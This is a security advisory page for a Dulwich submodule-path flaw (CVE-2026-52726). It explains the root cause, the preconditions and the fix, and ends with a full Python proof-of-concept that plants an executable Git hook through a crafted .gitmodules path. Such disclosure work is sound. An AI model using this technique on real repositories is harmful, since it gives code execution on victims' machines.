VYPR
High severity7.5NVD Advisory· Published Jun 10, 2026

CVE-2026-52726

CVE-2026-52726

Description

Dulwich versions prior to 1.2.5 allow arbitrary code execution by writing malicious submodule paths to the .git/hooks directory.

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

Dulwich versions prior to 1.2.5 allow arbitrary code execution by writing malicious submodule paths to the .git/hooks directory.

Vulnerability

Dulwich, a Python Git implementation, versions 0.23.2 through 1.2.4, fails to validate submodule paths during dulwich.porcelain.submodule_update and porcelain.clone(..., recurse_submodules=True). A specially crafted upstream repository can contain a .gitmodules file and a gitlink whose path is set to .git/hooks or another sensitive directory within the parent repository's .git directory [1].

Exploitation

An attacker must control an upstream Git repository. They can then craft a malicious .gitmodules file and a corresponding tree gitlink entry. When a victim runs dulwich.porcelain.submodule_update or porcelain.clone(..., recurse_submodules=True) on this repository, the attacker-controlled submodule path, specifically .git/hooks, is used without validation. The contents of the submodule's tree are then written directly into the victim's .git/hooks/ directory, preserving executable permissions [1].

Impact

Successful exploitation allows an attacker to place arbitrary executable files into the victim's .git/hooks/ directory. Any subsequent Git or Dulwich command that triggers these hooks will execute the attacker's code with the privileges of the user running the Git process, leading to arbitrary code execution [1].

Mitigation

Dulwich version 1.2.5, released on 2026-06-09, addresses this vulnerability by validating submodule paths [2]. Users are strongly encouraged to upgrade to version 1.2.5 or later. No workarounds are described in the available references.

AI Insight generated on Jun 10, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.

Affected products

2

Patches

0

No patches discovered yet.

Vulnerability mechanics

Root cause

"The submodule path is materialized without validation, allowing arbitrary file writes within the .git directory."

Attack vector

An attacker crafts an upstream repository containing a malicious `.gitmodules` file and a matching tree gitlink. This gitlink's `path` is set to `.git/hooks` or another directory within the parent repository's `.git` directory. When a victim clones this repository with `recurse_submodules=True`, the attacker's submodule contents are written directly into the victim's `.git/hooks/` directory, preserving executable permissions [ref_id=1]. Subsequent Git or Dulwich commands that invoke these hooks lead to arbitrary code execution [ref_id=1].

Affected code

The vulnerability resides in `dulwich.porcelain.submodule_update` and `dulwich.porcelain.clone` when `recurse_submodules=True`. Specifically, the code in `dulwich/porcelain/submodule.py` consumes the submodule path from a tree gitlink entry without adequate validation. This path is then used in `os.path.join` and passed to `build_index_from_tree` without a strict path validator, allowing malicious paths to be written [ref_id=1].

What the fix does

Version 1.2.5 addresses the vulnerability by implementing path validation before materializing submodule contents. This prevents attacker-controlled paths, such as `.git/hooks`, from being written into sensitive locations within the `.git` directory. The fix ensures that only safe paths are processed, mitigating the risk of arbitrary code execution through malicious submodule configurations [ref_id=1].

Preconditions

  • inputThe victim must clone a repository that contains a specially crafted `.gitmodules` file and a corresponding tree gitlink pointing to `.git/hooks` or a similar location within the `.git` directory [ref_id=1].
  • configThe victim must use a version of Dulwich between 0.23.2 and 1.2.4 (inclusive) [ref_id=1].
  • inputThe clone operation must be performed with the `recurse_submodules=True` option enabled, either via `dulwich.porcelain.clone` or the `dulwich clone --recurse-submodules` CLI command [ref_id=1].

Reproduction

import os, tempfile, subprocess import dulwich.repo as r import dulwich.porcelain as p from dulwich.objects import Blob, Commit, Tree

WORKDIR = tempfile.mkdtemp(prefix="dulwich-poc-") ATTACKER = os.path.join(WORKDIR, "att.git") VICTIM_PARENT = os.path.join(WORKDIR, "vic_parent.git") VICTIM_WT = os.path.join(WORKDIR, "vic_wt") MARKER = os.path.join(WORKDIR, "marker")

# Attacker submodule contains a single file named "post-checkout" # with mode 0755 and a benign shell payload that writes a marker file. attacker = r.Repo.init_bare(ATTACKER, mkdir=True) payload = b"#!/bin/sh\necho executed > " + MARKER.encode() + b"\n" pb = Blob.from_string(payload) attacker.object_store.add_object(pb) at = Tree() at.add(b"post-checkout", 0o100755, pb.id) attacker.object_store.add_object(at) ac = Commit() ac.tree = at.id ac.author = ac.committer = b"a <a@a>" ac.author_time = ac.commit_time = 0 ac.author_timezone = ac.commit_timezone = 0 ac.message = b"x" attacker.object_store.add_object(ac) attacker.refs[b"refs/heads/master"] = ac.id attacker.refs.set_symbolic_ref(b"HEAD", b"refs/heads/master")

# Victim parent has a .gitmodules and a tree gitlink, both pointing at # path ".git/hooks". The gitlink targets the attacker submodule commit. victim = r.Repo.init_bare(VICTIM_PARENT, mkdir=True) gitmod = ( b'[submodule "evil"]\n' b'\tpath = .git/hooks\n' b'\turl = ' + ATTACKER.encode() + b'\n' ) gmb = Blob.from_string(gitmod) victim.object_store.add_object(gmb) vt = Tree() vt.add(b".gitmodules", 0o100644, gmb.id) vt.add(b".git/hooks", 0o160000, ac.id) victim.object_store.add_object(vt) vc = Commit() vc.tree = vt.id vc.author = vc.committer = b"a <a@a>" vc.author_time = vc.commit_time = 0 vc.author_timezone = vc.commit_timezone = 0 vc.message = b"v" victim.object_store.add_object(vc) victim.refs[b"refs/heads/master"] = vc.id victim.refs.set_symbolic_ref(b"HEAD", b"refs/heads/master")

# Single victim call: clone with recurse_submodules=True p.clone(VICTIM_PARENT, VICTIM_WT, recurse_submodules=True)

hook = os.path.join(VICTIM_WT, ".git", "hooks", "post-checkout") assert os.path.exists(hook), "hook was not written" assert os.stat(hook).st_mode & 0o111, "hook is not executable"

# git running in the victim worktree then executes the dropped hook subprocess.run(["git", "-C", VICTIM_WT, "checkout", "master"], check=True, capture_output=True) assert os.path.exists(MARKER), "hook did not fire" print("Code execution confirmed:", open(MARKER).read().strip())

Generated on Jun 10, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

2

News mentions

0

No linked articles in our index yet.